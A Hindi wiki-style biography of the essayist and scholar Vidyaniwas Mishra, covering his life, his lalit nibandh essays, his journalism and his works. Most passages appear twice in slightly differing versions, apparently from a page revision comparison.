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|कर्म भूमि=[[भारत]]
 
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|कर्म-क्षेत्र=निबन्ध लेखन।
 
|कर्म-क्षेत्र=निबन्ध लेखन।
|मुख्य रचनाएँ=‘चितवन की छाँह' ([[1976]]), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल' आदि।
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|मुख्य रचनाएँ=‘[[छितवन की छाँह -विद्यानिवास मिश्र|छितवन की छाँह]]' ([[1976]]), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल' आदि।
 
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|भाषा=[[हिन्दी]]
 
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|विद्यालय='[[इलाहाबाद विश्वविद्यालय]]',
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|पुरस्कार-उपाधि='भारतीय ज्ञानपीठ' का 'मूर्तिदेवी पुरस्कार', 'शंकर सम्मान', '[[पद्मश्री]]' और '[[पद्मभूषण]]'।
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|प्रसिद्धि=ललित निबन्ध लेखक।
 
|प्रसिद्धि=ललित निबन्ध लेखक।
|विशेष योगदान=विद्यानिवास [[हिन्दी]] की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, मॉरीशस से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने हिन्दी के संघर्ष को मजबूती प्रदान की।
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|विशेष योगदान=विद्यानिवास [[हिन्दी]] की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, [[मॉरीशस]] से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने हिन्दी के संघर्ष को मजबूती प्रदान की।
 
|नागरिकता=भारतीय
 
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|अन्य जानकारी=विद्यानिवास मिश्र ने कुछ वर्ष '[[नवभारत टाइम्स]]' समाचार पत्र के संपादक का दायित्व भी संभाला। उन्होंने 'नवभारत टाइम्स' को [[हिन्दी]] के प्रतिष्ठित [[समाचार पत्र]] के रूप में नई पहचान दिलाई।
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|अन्य जानकारी=विद्यानिवास मिश्र ने कुछ वर्ष '[[नवभारत टाइम्स]]' के संपादक का दायित्व भी संभाला। उन्होंने 'नवभारत टाइम्स' को [[हिन्दी]] के प्रतिष्ठित [[समाचार पत्र]] के रूप में नई पहचान दिलाई।
 
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'''विद्यानिवास मिश्र''' ([[अंग्रेज़ी]]: ''Vidhyaniwas Mishra''; जन्म- [[28 जनवरी]], [[1926]], [[गोरखपुर]], [[उत्तर प्रदेश]]; मृत्यु- [[14 फ़रवरी]], [[2005]]) [[हिन्दी]] के प्रसिद्ध साहित्यकार, सफल सम्पादक, [[संस्कृत]] के प्रकाण्ड विद्वान और जाने-माने भाषाविद थे। [[हिन्दी साहित्य]] को अपने ललित निबंधों और लोक जीवन की सुगंध से सुवासित करने वाले विद्यानिवास मिश्र ऐसे साहित्यकार थे, जिन्होंने आधुनिक विचारों को पारंपरिक सोच में खपाया था। साहित्य समीक्षकों के अनुसार संस्कृत मर्मज्ञ मिश्र जी ने हिन्दी में सदैव आँचलिक बोलियों के शब्दों को महत्त्व दिया। विद्यानिवास मिश्र के अनुसार- "हिन्दी में यदि आँचलिक बोलियों के शब्दों को प्रोत्साहन दिया जाये तो दुरूह राजभाषा से बचा जा सकता है, जो बेहद संस्कृतनिष्ठ है।" मिश्र जी के अभूतपूर्व योगदान के लिए ही भारत सरकार ने उन्हें '[[पद्मश्री]]' और '[[पद्मभूषण]]' से भी सम्मानित किया था।
'''विद्यानिवास मिश्र''' (जन्म- [[28 जनवरी]], [[1926]], [[गोरखपुर]], [[उत्तर प्रदेश]]; मृत्यु- [[14 फ़रवरी]], [[2005]]) [[हिन्दी]] के प्रसिद्ध साहित्यकार, सफल सम्पादक, [[संस्कृत]] के प्रकाण्ड विद्वान और जाने-माने भाषाविद थे। [[हिन्दी साहित्य]] को अपने ललित निबंधों और लोक जीवन की सुगंध से सुवासित करने वाले विद्यानिवास मिश्र ऐसे साहित्यकार थे, जिन्होंने आधुनिक विचारों को पारंपरिक सोच में खपाया था। साहित्य समीक्षकों के अनुसार संस्कृत मर्मज्ञ मिश्र जी ने हिन्दी में सदैव आँचलिक बोलियों के शब्दों को महत्त्व दिया। विद्यानिवास मिश्र के अनुसार- "हिन्दी में यदि आँचलिक बोलियों के शब्दों को प्रोत्साहन दिया जाये तो दुरूह राजभाषा से बचा जा सकता है, जो बेहद संस्कृतनिष्ठ है।" मिश्र जी के अभूतपूर्व योगदान के लिए ही भारत सरकार ने उन्हें '[[पद्मश्री]]' और '[[पद्मभूषण]]' से भी सम्मानित किया था।
 
 
==जन्म तथा शिक्षा==
 
==जन्म तथा शिक्षा==
 
[[हिन्दी]] की ललित निबन्‍धों की परम्‍परा को उन्‍नति के शिखर पर पहुँचाने वाले कुशल शिल्‍पी पंडित विद्यानिवास मिश्र का जन्म 28 जनवरी, सन 1926 में पकडडीहा गाँव, [[गोरखपुर]] ([[उत्तर प्रदेश]]) में हुआ था। वे अपनी बोली और संस्कृति के प्रति सदैव आग्रही रहे। सन [[1945]] में '[[इलाहाबाद विश्वविद्यालय]]' से स्नातकोत्तर एवं डाक्टरेट की उपाधि लेने के बाद विद्यानिवास मिश्र ने अनेक वर्षों तक [[आगरा]], गोरखपुर, कैलिफोर्निया और वाशिंगटन विश्वविद्यालय में अध्यापन कार्य किया। वे देश के प्रतिष्ठित 'संपूर्णानंद संस्कृत विश्वविद्यालय' एवं 'काशी विद्यापीठ' के कुलपति भी रहे। इसके बाद अनेकों वर्षों तक वे आकाशवाणी और उत्तर प्रदेश के सूचना विभाग में कार्यरत रहे।
 
[[हिन्दी]] की ललित निबन्‍धों की परम्‍परा को उन्‍नति के शिखर पर पहुँचाने वाले कुशल शिल्‍पी पंडित विद्यानिवास मिश्र का जन्म 28 जनवरी, सन 1926 में पकडडीहा गाँव, [[गोरखपुर]] ([[उत्तर प्रदेश]]) में हुआ था। वे अपनी बोली और संस्कृति के प्रति सदैव आग्रही रहे। सन [[1945]] में '[[इलाहाबाद विश्वविद्यालय]]' से स्नातकोत्तर एवं डाक्टरेट की उपाधि लेने के बाद विद्यानिवास मिश्र ने अनेक वर्षों तक [[आगरा]], गोरखपुर, कैलिफोर्निया और वाशिंगटन विश्वविद्यालय में अध्यापन कार्य किया। वे देश के प्रतिष्ठित 'संपूर्णानंद संस्कृत विश्वविद्यालय' एवं 'काशी विद्यापीठ' के कुलपति भी रहे। इसके बाद अनेकों वर्षों तक वे आकाशवाणी और उत्तर प्रदेश के सूचना विभाग में कार्यरत रहे।
 
==ललित निबंध लेखन==
 
==ललित निबंध लेखन==
विद्यानिवास मिश्र के ललित निबन्‍धों की शुरुआत सन [[1956]] ई. से होती है। परन्‍तु आपका पहला [[निबन्ध]] संग्रह [[1976]] ई. में ‘चितवन की छाँह' प्रकाश में आया। उन्होंने हिन्‍दी जगत को ललित निबन्‍ध परम्‍परा से अवगत कराया। ‘तुम चन्‍दन हम पानी' शीर्षक से जो निबन्‍ध प्रकाशित हुए, उनमें संस्‍कृत साहित्‍य के सन्‍दर्भ का प्रयोग अधिक हो गया और पाण्‍डित्‍य प्रदर्शन की प्रवृत्ति के कारण लालित्‍य दब गया, जो आपकी पहली दो रचनाओं में मिलता था। तीसरे निबन्‍ध संग्रह ‘आंगन का पंछी और बनजार मन' में परिवर्तन आया। इस तथ्य को स्‍वयं निबन्‍धकार स्‍वीकार करता है- "चितवन की छांह' मेरे मादक दिनों की देन है, ‘कदम की फूली डाल' मेरे विन्‍ध्‍य प्रवास का, जो बाद में आवास ही बन गया, का फल है और ‘तुम चन्‍दन और हम पानी' मेरे संस्‍कृत अन्‍वेषण की देन है। अब चौथा संग्रह आपके हाथों में है, दुविधा के क्षणों की सृष्‍टि है। इसलिए इसका शीर्षक भी द्विविधात्‍मक है। बरसों तक भोजपुरी वातावरण के स्‍मृतिचित्र उरेहता रहा, उसी में मन चाहे पद पर जब वापस होने की आशंका। इसलिए जहाँ मन ‘आगंन का पंछी' बनकर चहका, वहीं उसका बनजारा मन' उसे विगत और अनागत दिशाओं में रमने-घूमने के लिए अकुलाता भी रहा।"<ref>{{cite web |url=http://www.rachanakar.org/2009/04/blog-post_4748.html|title=विद्यानिवास मिश्र के ललित निबन्धों का सृजन परिदृश्य|accessmonthday= 03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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विद्यानिवास मिश्र के ललित निबन्‍धों की शुरुआत सन [[1956]] ई. से होती है। परन्‍तु आपका पहला [[निबन्ध]] संग्रह [[1976]] ई. में ‘छितवन की छाँह' प्रकाश में आया। उन्होंने हिन्‍दी जगत को ललित निबन्‍ध परम्‍परा से अवगत कराया। ‘तुम चन्‍दन हम पानी' शीर्षक से जो निबन्‍ध प्रकाशित हुए, उनमें संस्‍कृत साहित्‍य के सन्‍दर्भ का प्रयोग अधिक हो गया और पाण्‍डित्‍य प्रदर्शन की प्रवृत्ति के कारण लालित्‍य दब गया, जो आपकी पहली दो रचनाओं में मिलता था। तीसरे निबन्‍ध संग्रह ‘आंगन का पंछी और बनजार मन' में परिवर्तन आया। इस तथ्य को स्‍वयं निबन्‍धकार स्‍वीकार करता है- "छितवन की छांह' मेरे मादक दिनों की देन है, ‘कदम की फूली डाल' मेरे विन्‍ध्‍य प्रवास का, जो बाद में आवास ही बन गया, का फल है और ‘तुम चन्‍दन और हम पानी' मेरे संस्‍कृत अन्‍वेषण की देन है। अब चौथा संग्रह आपके हाथों में है, दुविधा के क्षणों की सृष्‍टि है। इसलिए इसका शीर्षक भी द्विविधात्‍मक है। बरसों तक भोजपुरी वातावरण के स्‍मृतिचित्र उरेहता रहा, उसी में मन चाहे पद पर जब वापस होने की आशंका। इसलिए जहाँ मन ‘आगंन का पंछी' बनकर चहका, वहीं उसका बनजारा मन' उसे विगत और अनागत दिशाओं में रमने-घूमने के लिए अकुलाता भी रहा।"<ref>{{cite web |url=http://www.rachanakar.org/2009/04/blog-post_4748.html|title=विद्यानिवास मिश्र के ललित निबन्धों का सृजन परिदृश्य|accessmonthday= 03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
====साहित्य के सृजनकर्ता====
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====साहित्य सृजनकर्ता====
 
[[हिन्दी साहित्य]] के सर्जक विद्यानिवास मिश्र ने [[साहित्य]] की ललित निबंध की विधा को नए आयाम दिए। हिन्दी में ललित निबंध की विधा की शुरूआत [[प्रताप नारायण मिश्र]] और [[बालकृष्ण भट्ट]] ने की थी, किंतु इसे ललित निबंधों का पूर्वाभास कहना ही उचित होगा। ललित निबंध की विधा के लोकप्रिय नामों की बात करें तो [[हजारी प्रसाद द्विवेदी]], विद्यानिवास मिश्र एवं कुबेरनाथ राय आदि चर्चित नाम रहे हैं। लेकिन यदि लालित्य और शैली की प्रभाविता और परिमाण की विपुलता की बात की जाए तो विद्यानिवास मिश्र इन सभी से कहीं अग्रणी रहे हैं। विद्यानिवास मिश्र के साहित्य का सर्वाधिक महत्वपूर्ण हिस्सा ललित निबंध ही हैं। उनके ललित निबंधों के संग्रहों की संख्या भी लगभग 25 से अधिक है।<ref name="aa">{{cite web |url=http://samvadsetupatrika.wordpress.com/2013/04/20/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%BF%E0%A4%95-%E0%A4%AA%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%A4%E0%A4%BE-%E0%A4%95%E0%A5%87/|title=साहित्यिक पत्रकारिता के 'अमृत' विद्यानिवास मिश्र|accessmonthday=03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
[[हिन्दी साहित्य]] के सर्जक विद्यानिवास मिश्र ने [[साहित्य]] की ललित निबंध की विधा को नए आयाम दिए। हिन्दी में ललित निबंध की विधा की शुरूआत [[प्रताप नारायण मिश्र]] और [[बालकृष्ण भट्ट]] ने की थी, किंतु इसे ललित निबंधों का पूर्वाभास कहना ही उचित होगा। ललित निबंध की विधा के लोकप्रिय नामों की बात करें तो [[हजारी प्रसाद द्विवेदी]], विद्यानिवास मिश्र एवं कुबेरनाथ राय आदि चर्चित नाम रहे हैं। लेकिन यदि लालित्य और शैली की प्रभाविता और परिमाण की विपुलता की बात की जाए तो विद्यानिवास मिश्र इन सभी से कहीं अग्रणी रहे हैं। विद्यानिवास मिश्र के साहित्य का सर्वाधिक महत्वपूर्ण हिस्सा ललित निबंध ही हैं। उनके ललित निबंधों के संग्रहों की संख्या भी लगभग 25 से अधिक है।<ref name="aa">{{cite web |url=http://samvadsetupatrika.wordpress.com/2013/04/20/%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%BF%E0%A4%95-%E0%A4%AA%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%A4%E0%A4%BE-%E0%A4%95%E0%A5%87/|title=साहित्यिक पत्रकारिता के 'अमृत' विद्यानिवास मिश्र|accessmonthday=03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
==पौराणिक विषयों पर निबन्ध==
 
==पौराणिक विषयों पर निबन्ध==
लोक संस्कृति और लोक मानस उनके ललित निबंधों के अभिन्न अंग थे, उस पर भी पौराणिक कथाओं और उपदेशों की फुहार उनके ललित निबंधों को और अधिक प्रवाहमय बना देते थे। उनके प्रमुख ललित निबंध संग्रह हैं- 'राधा माधव रंग रंगी', 'मेरे राम का मुकुट भीग रहा है', 'शैफाली झर रही है', 'चितवन की छांह', 'बंजारा मन', 'तुम चंदन हम पानी', 'महाभारत का काव्यार्थ', 'भ्रमरानंद के पत्र', 'वसंत आ गया पर कोई उत्कंठा नहीं' और 'साहित्य का खुला आकाश' आदि आदि। वसंत ऋतु से विद्यानिवास मिश्र को विशेष लगाव था, उनके ललित निबंधों में ऋतुचर्य का वर्णन उनके निबंधों को जीवंतता प्रदान करता था। वसंत ऋतु पर लिखे अपने [[निबंध]] संकलन 'फागुन दुइ रे दिना' में वसंत के पर्वों को व्याख्यायित करते हुए, 'अपना अहंकार इसमें डाल दो' शीर्षक से लिखे निबंध में वे '[[शिवरात्रि]]' पर लिखते हैं-
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लोक संस्कृति और लोक मानस उनके ललित निबंधों के अभिन्न अंग थे, उस पर भी पौराणिक कथाओं और उपदेशों की फुहार उनके ललित निबंधों को और अधिक प्रवाहमय बना देते थे। उनके प्रमुख ललित निबंध संग्रह हैं- 'राधा माधव रंग रंगी', 'मेरे राम का मुकुट भीग रहा है', 'शैफाली झर रही है', 'छितवन की छांह', 'बंजारा मन', 'तुम चंदन हम पानी', 'महाभारत का काव्यार्थ', 'भ्रमरानंद के पत्र', 'वसंत आ गया पर कोई उत्कंठा नहीं' और 'साहित्य का खुला आकाश' आदि आदि। वसंत ऋतु से विद्यानिवास मिश्र को विशेष लगाव था, उनके ललित निबंधों में ऋतुचर्य का वर्णन उनके निबंधों को जीवंतता प्रदान करता था। वसंत ऋतु पर लिखे अपने [[निबंध]] संकलन 'फागुन दुइ रे दिना' में वसंत के पर्वों को व्याख्यायित करते हुए, 'अपना अहंकार इसमें डाल दो' शीर्षक से लिखे निबंध में वे '[[शिवरात्रि]]' पर लिखते हैं-
 
 
 
<blockquote>"[[शिव]] हमारी गाथाओं में बड़े यायावर हैं। बस जब मन में आया, बैल पर बोझा लादा और [[पार्वती]] संग निकल पड़े, बौराह वेश में। लोग ऐसे शिव को पहचान नहीं पाते। ऐसे यायावर विरूपिए को कौन शिव मानेगा? वह भी कभी-कभी हाथ में खप्पर लिए। ऐसा भिखमंगा क्या शिव है?"</blockquote>
 
<blockquote>"[[शिव]] हमारी गाथाओं में बड़े यायावर हैं। बस जब मन में आया, बैल पर बोझा लादा और [[पार्वती]] संग निकल पड़े, बौराह वेश में। लोग ऐसे शिव को पहचान नहीं पाते। ऐसे यायावर विरूपिए को कौन शिव मानेगा? वह भी कभी-कभी हाथ में खप्पर लिए। ऐसा भिखमंगा क्या शिव है?"</blockquote>
  
 
इसके बाद इन पंक्तियों को विवेचित करते हुए विद्यानिवास मिश्र जी लिखते हैं-
 
इसके बाद इन पंक्तियों को विवेचित करते हुए विद्यानिवास मिश्र जी लिखते हैं-
 
 
<blockquote>"हाँ, यह जो भीख मांग रहा है, वह अहंकार की भीख है। लाओ, अपना अहंकार इसमें डाल दो। उसे सब जगह भीख नहीं मिलती। कभी-कभी वह बहुत ऐश्वर्य देता है और पार्वती बिगड़ती हैं। क्या आप अपात्र को देते हैं? शिव हंसते हैं, कहते हैं, इस ऐश्वर्य की गति जानती हो, क्या है? मद है। और मद की गति तो कागभुसुंडि से पूछो, [[रावण]] से पूछो, बाणासुर से पूछो।"</blockquote>
 
<blockquote>"हाँ, यह जो भीख मांग रहा है, वह अहंकार की भीख है। लाओ, अपना अहंकार इसमें डाल दो। उसे सब जगह भीख नहीं मिलती। कभी-कभी वह बहुत ऐश्वर्य देता है और पार्वती बिगड़ती हैं। क्या आप अपात्र को देते हैं? शिव हंसते हैं, कहते हैं, इस ऐश्वर्य की गति जानती हो, क्या है? मद है। और मद की गति तो कागभुसुंडि से पूछो, [[रावण]] से पूछो, बाणासुर से पूछो।"</blockquote>
  
 
इन पंक्तियों का औचित्य समझाते हुए मिश्र जी लिखते हैं-
 
इन पंक्तियों का औचित्य समझाते हुए मिश्र जी लिखते हैं-
 
 
<blockquote>"पार्वती छेड़ती हैं कि देवताओं को सताने वालों को आप इतना प्रतापी क्यों बनाते हैं? [[शिव]] अट्टाहास कर उठते हैं, उन्हें प्रतापी न बनाएँ तो [[देवता]] आलसी हो जाएँ, उन्हें झकझोरने के लिए कुछ कौतुक करना पड़ता है।"</blockquote>
 
<blockquote>"पार्वती छेड़ती हैं कि देवताओं को सताने वालों को आप इतना प्रतापी क्यों बनाते हैं? [[शिव]] अट्टाहास कर उठते हैं, उन्हें प्रतापी न बनाएँ तो [[देवता]] आलसी हो जाएँ, उन्हें झकझोरने के लिए कुछ कौतुक करना पड़ता है।"</blockquote>
 
 
यह मिश्र जी की अपनी उद्भावना है, प्रसंग पौराणिक हैं, किंतु वर्तमान पर लागू होते हैं। [[पुराण]] कथाओं का संदर्भ देते हुए विद्यानिवास मिश्र ने [[साहित्य]] के पाठकों को [[भारतीय संस्कृति]] का मर्म समझाने का प्रयास किया है।<ref name="aa"/>
 
यह मिश्र जी की अपनी उद्भावना है, प्रसंग पौराणिक हैं, किंतु वर्तमान पर लागू होते हैं। [[पुराण]] कथाओं का संदर्भ देते हुए विद्यानिवास मिश्र ने [[साहित्य]] के पाठकों को [[भारतीय संस्कृति]] का मर्म समझाने का प्रयास किया है।<ref name="aa"/>
====योगदान====
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==योगदान==
 
विद्यानिवास मिश्र के ललित निबंधों में जीवन दर्शन, संस्कृति, परंपरा और प्रकति के अनुपम सौंदर्य का तालमेल मिलता है। इस सबके बीच वसंत ऋतु का वर्णन उनके ललित निबंधों को और अधिक रसमय बना देता है। ललित निबंधों के माध्यम से साहित्य को अपना योगदान देने वाले विद्यानिवास हिन्दी की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, मारीशस से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने [[हिन्दी]] के संघर्ष को मजबूती प्रदान की। हिन्दी की शब्द संपदा, हिन्दी और हम, हिन्दीमय जीवन और प्रौढ़ों का शब्द संसार जैसी उनकी पुस्तकों ने हिन्दी की सम्प्रेषणीयता के दायरे को विस्तृत किया। [[तुलसीदास]] और [[सूरदास]] समेत [[भारतेन्दु हरिश्चन्द्र]] [[अज्ञेय]], [[कबीर]], [[रसखान]], [[रैदास]], [[रहीम]] और [[राहुल सांकृत्यायन]] की रचनाओं को संपादित कर उन्होंने हिन्दी के साहित्य को विपुलता प्रदान की।
 
विद्यानिवास मिश्र के ललित निबंधों में जीवन दर्शन, संस्कृति, परंपरा और प्रकति के अनुपम सौंदर्य का तालमेल मिलता है। इस सबके बीच वसंत ऋतु का वर्णन उनके ललित निबंधों को और अधिक रसमय बना देता है। ललित निबंधों के माध्यम से साहित्य को अपना योगदान देने वाले विद्यानिवास हिन्दी की प्रतिष्ठा हेतु सदैव संघर्षरत रहे, मारीशस से सूरीनाम तक अनेकों हिन्दी सम्मेलनों में मिश्र जी की उपस्थिति ने [[हिन्दी]] के संघर्ष को मजबूती प्रदान की। हिन्दी की शब्द संपदा, हिन्दी और हम, हिन्दीमय जीवन और प्रौढ़ों का शब्द संसार जैसी उनकी पुस्तकों ने हिन्दी की सम्प्रेषणीयता के दायरे को विस्तृत किया। [[तुलसीदास]] और [[सूरदास]] समेत [[भारतेन्दु हरिश्चन्द्र]] [[अज्ञेय]], [[कबीर]], [[रसखान]], [[रैदास]], [[रहीम]] और [[राहुल सांकृत्यायन]] की रचनाओं को संपादित कर उन्होंने हिन्दी के साहित्य को विपुलता प्रदान की।
==भारतीय संस्कृति एवं कला मर्मज्ञ==
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==संस्कृति एवं कला मर्मज्ञ==
विद्यानिवास मिश्र [[कला]] एवं [[भारतीय संस्कृति]] के मर्मज्ञ थे। [[खजुराहो]] की चित्रकला का सूक्ष्मता और तार्किकता से अध्ययन कर उसकी नई अवधारणा प्रस्तुत करने वाले विद्यानिवास मिश्र ही थे। अकसर भारतीय चिंतक विदेशी विद्वानों से बात करते हुए खजुराहो की कलाकृतियों को लेकर कोई ठोस तार्किक जवाब नहीं दे पाते थे। विद्यानिवास जी ने अपने विवेचन के माध्यम से खजुराहो की कलाकृतियों की अवधारणा स्पष्ट करते हुए लिखा है-
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विद्यानिवास मिश्र [[कला]] एवं [[भारतीय संस्कृति]] के मर्मज्ञ थे। [[खजुराहो]] की चित्रकला का सूक्ष्मता और तार्किकता से अध्ययन कर उसकी नई अवधारणा प्रस्तुत करने वाले विद्यानिवास मिश्र ही थे। अकसर भारतीय चिंतक विदेशी विद्वानों से बात करते हुए [[खजुराहो]] की कलाकृतियों को लेकर कोई ठोस तार्किक जवाब नहीं दे पाते थे। विद्यानिवास जी ने अपने विवेचन के माध्यम से खजुराहो की कलाकृतियों की अवधारणा स्पष्ट करते हुए लिखा है-
 
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<blockquote>"यहाँ के मिथुन अंकन साधन हैं, साध्य नहीं। साधक की अर्चना का केंद्रबिंदु तो अकेली प्रतिमा के गर्भग्रह में है। यहाँ अभिव्यक्ति कला रस से भरपूर है, जिसकी अंतिम परिणति ब्रहम रूप है। हमारे [[दर्शन]] में [[धर्म]], अर्थ, काम और मोक्ष की जो मान्यताएँ हैं, उनमें मोक्ष प्राप्ति से पूर्व का अंतिम सोपान है काम।"</blockquote>
"यहाँ के मिथुन अंकन साधन हैं, साध्य नहीं। साधक की अर्चना का केंद्रबिंदु तो अकेली प्रतिमा के गर्भग्रह में है। यहाँ अभिव्यक्ति कला रस से भरपूर है, जिसकी अंतिम परिणति ब्रहम रूप है। हमारे [[दर्शन]] में [[धर्म]], अर्थ, काम और मोक्ष की जो मान्यताएँ हैं, उनमें मोक्ष प्राप्ति से पूर्व का अंतिम सोपान है काम।"
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उन्होंने कहा कि यह हमारी नैतिक दुर्बलता ही है कि खजुराहो की कलाकृतियों में हम विकृत कामुकता की छवि पाते हैं। स्त्री पुरुष अनादि हैं, जिनके सहयोग से ही सृष्टि जनमती है। सन [[1990]] के दशक में मिश्र जी ने '[[नवभारत टाइम्स]]' के संपादक के रूप में जिम्मेदारी संभाली थी। उदारीकरण के दौर में खांटी [[हिन्दी पत्रकारिता]] को आगे बढ़ाने वाले महत्वपूर्ण पत्रकारों में से एक मिश्र जी ने 'नवभारत टाइम्स' को [[हिन्दी]] के प्रतिष्ठित समाचार पत्र के रूप में नई पहचान दिलाई। पत्रकारीय धर्म और उसकी सीमाओं को लेकर वे सदैव सचेत रहते थे। वे अकसर कहा करते थे कि- "मीडिया का काम नायकों का बखान करना अवश्य है, लेकिन नायक बनाना मीडिया का काम नहीं है।"<ref name="aa"/>
 
 
उन्होंने कहा कि यह हमारी नैतिक दुर्बलता ही है कि खजुराहो की कलाकृतियों में हम विकृत कामुकता की छवि पाते हैं। स्त्री पुरूष अनादि हैं, जिनके सहयोग से ही सृष्टि जनमती है। सन [[1990]] के दशक में मिश्र जी ने '[[नवभारत टाइम्स]]' के संपादक के रूप में जिम्मेदारी संभाली थी। उदारीकरण के दौर में खांटी हिन्दी पत्रकारिता को आगे बढ़ाने वाले महत्वपूर्ण पत्रकारों में से एक मिश्र जी ने 'नवभारत टाइम्स' को हिन्दी के प्रतिष्ठित समाचार पत्र के रूप में नई पहचान दिलाई। पत्रकारीय धर्म और उसकी सीमाओं को लेकर वे सदैव सचेत रहते थे। वे अकसर कहा करते थे कि- "मीडिया का काम नायकों का बखान करना अवश्य है, लेकिन नायक बनाना मीडिया का काम नहीं है।"<ref name="aa"/>
 
 
==आकाशवाणी पर व्याख्यान==
 
==आकाशवाणी पर व्याख्यान==
 
[[जयपुर]] का साहित्य जगत आज भी भूला नहीं है कि आकाशवाणी जयपुर के आमंत्रण पर मिश्र जी ने सन [[1994]] के [[30 नवम्बर]] और [[1 दिसम्बर]] को आकाशवाणी की राजेन्द्र प्रसाद स्मारक व्याख्यान माला में 'साधुमन' और 'लोकमत' पर दो व्याख्यान दिए थे, जिनकी शैली ललित निबंधों की सी थी और जिनके प्रेरणा स्रोत थी, तुलसी के मानस की वह अर्धाली 'टरत विनय सादर सुनिय करिय विचार बहोरि। करब साधुमत लोकमत नृपनयतिगम निचोरि।' ये दोनों व्याख्यान 'स्वरूप विमर्श' शीर्षक निबंध संग्रह में बाद में छपे। इसी प्रकार जयपुर के विख्यात संपादक और वेद विज्ञान के अध्येता कर्पूरचन्द्र कुलिश की प्रेरणा से 'भारतीय साहित्य परिषद' द्वारा जयपुर में 'गीत गोविन्द' पर उनके व्याख्यान करवाए गए। [[कोलकाता]] में भी 'गीत गोविंद' पर व्याख्यान आयोजित किए गए थे। इन सब का संपादित और परिवर्धित रूप है, उनका प्रसिद्ध ग्रंथ "राधा माधव रंग रँगी।" यह समूचा [[ग्रंथ]] ललित निबन्ध की शैली में लिखा गया है।<ref>{{cite web |url=http://www.abhivyakti-hindi.org/rachanaprasang/2012/vidyanivas_mishra.htm|title=ललित निबन्ध के पुरोधा विद्यानिवास मिश्र|accessmonthday=03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
[[जयपुर]] का साहित्य जगत आज भी भूला नहीं है कि आकाशवाणी जयपुर के आमंत्रण पर मिश्र जी ने सन [[1994]] के [[30 नवम्बर]] और [[1 दिसम्बर]] को आकाशवाणी की राजेन्द्र प्रसाद स्मारक व्याख्यान माला में 'साधुमन' और 'लोकमत' पर दो व्याख्यान दिए थे, जिनकी शैली ललित निबंधों की सी थी और जिनके प्रेरणा स्रोत थी, तुलसी के मानस की वह अर्धाली 'टरत विनय सादर सुनिय करिय विचार बहोरि। करब साधुमत लोकमत नृपनयतिगम निचोरि।' ये दोनों व्याख्यान 'स्वरूप विमर्श' शीर्षक निबंध संग्रह में बाद में छपे। इसी प्रकार जयपुर के विख्यात संपादक और वेद विज्ञान के अध्येता कर्पूरचन्द्र कुलिश की प्रेरणा से 'भारतीय साहित्य परिषद' द्वारा जयपुर में 'गीत गोविन्द' पर उनके व्याख्यान करवाए गए। [[कोलकाता]] में भी 'गीत गोविंद' पर व्याख्यान आयोजित किए गए थे। इन सब का संपादित और परिवर्धित रूप है, उनका प्रसिद्ध ग्रंथ "राधा माधव रंग रँगी।" यह समूचा [[ग्रंथ]] ललित निबन्ध की शैली में लिखा गया है।<ref>{{cite web |url=http://www.abhivyakti-hindi.org/rachanaprasang/2012/vidyanivas_mishra.htm|title=ललित निबन्ध के पुरोधा विद्यानिवास मिश्र|accessmonthday=03 अक्टूबर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
 
==रचनाएँ==
 
==रचनाएँ==
 
 
विद्यानिवास मिश्र की मुख्य रचनाएँ निम्नलिखित हैं-
 
विद्यानिवास मिश्र की मुख्य रचनाएँ निम्नलिखित हैं-
 
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;निबन्ध संग्रह
*'''निबन्ध संग्रह''' - ‘चितवन की छाँह' ([[1976]]), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल'।
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‘[[छितवन की छाँह -विद्यानिवास मिश्र|छितवन की छाँह]]' ([[1976]]), ‘तुम चन्‍दन हम पानी', ‘आंगन का पंछी और बनजार मन', ‘कदम की फूली डाल'।
 
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;अन्य
*'''अन्य''' - 'हिन्दी और हम', 'हिंदी साहित्य का पुनरालोकन', 'साहित्य के सरोकार', 'व्यक्ति व्यंजना', 'वाचिक कविता भोजपुरी (सं)', 'वाचिक कविता अवधी (सं)', 'लोक और लोक का स्वर', 'राधा माधव रंग रंगी', 'रहिमन पानी राखिए', 'भ्रमरानंद का पचड़ा', 'भारतीय संस्कृति के आधार', 'बसन्त आ गया पर कोई उत्कण्ठा नहीं', 'फागुन दुइ रे दिना'।
